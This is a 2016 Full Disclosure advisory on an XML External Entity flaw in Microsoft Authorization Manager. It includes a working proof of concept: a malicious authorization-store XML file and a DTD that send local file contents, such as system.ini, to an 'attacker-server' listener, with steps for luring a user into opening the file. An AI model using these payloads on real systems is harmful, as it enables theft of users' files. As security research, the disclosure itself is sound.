Date: Sun, 4 Dec 2016 02:11:55 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Microsoft Authorization Manager "azman" XML External Entity

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-AZMAN-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec



Vendor:
==================
www.microsoft.com



Product:
==============================
Microsoft Authorization Manager
v6.1.7601

The Authorization Manager allows you to set role-based permissions for
Authorization Manager-enabled applications.

You can store authorization stores in either XML files, Active Directory
Domain Services (AD DS), Active Directory Lightweight Directory
Services (AD LDS), or in Microsoft SQL Server databases.



Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

"msxml3.dll" DLL is used by "Microsoft Management Console"  azman.msc  /
eventvwr.msc and other Windows components to process XML files.

The parser processes XML External Entity nodes allowing external
connections to be made to remote malicious DTD documents that can
potentially
allow access to files on users system to be exfiltrated to a remote server.
Therefore the XML parser is vulnerable to XXE attack if a user
unknowingly opens a malicious XML 'authorization store' document via remote
share/USB into 'Authorization Manager'.

"C:\Windows\system32\mmc.exe"
"C:\Windows\system32\azman.msc"
"C:\Windows\System32\msxml3.dll"


Exploit code(s):
===============

Start our listener on attacker server to access users files.
python -m SimpleHTTPServer 8080


Create the evil XML file with following payload to steal "system.ini" as
data theft POC.

<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Next, create the "payload.dtd" DTD document to host on attacker server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
%all;



1) Go to Windows CL and type azman to bring up Authorization Manager

2) Go to Action / "Open Authorization store..."

3) Select authorization store type to be 'XML file'

4) Browse to open the "PWN.XML" authorization store file and click Ok


User will see error message "Cannot open the authorization store. The
following problem occurred: An attempt was made
to load a program with an incorrect format."

Result: files delivered to your server!




Disclosure Timeline:
===========================================
Vendor Notification:  August 30, 2016
Vendor Reply: August 30, 2016
does not meet the bar for servicing as someone would have to
obtain the XML from an untrusted source or compromised source"
December 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Local / Remote




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx

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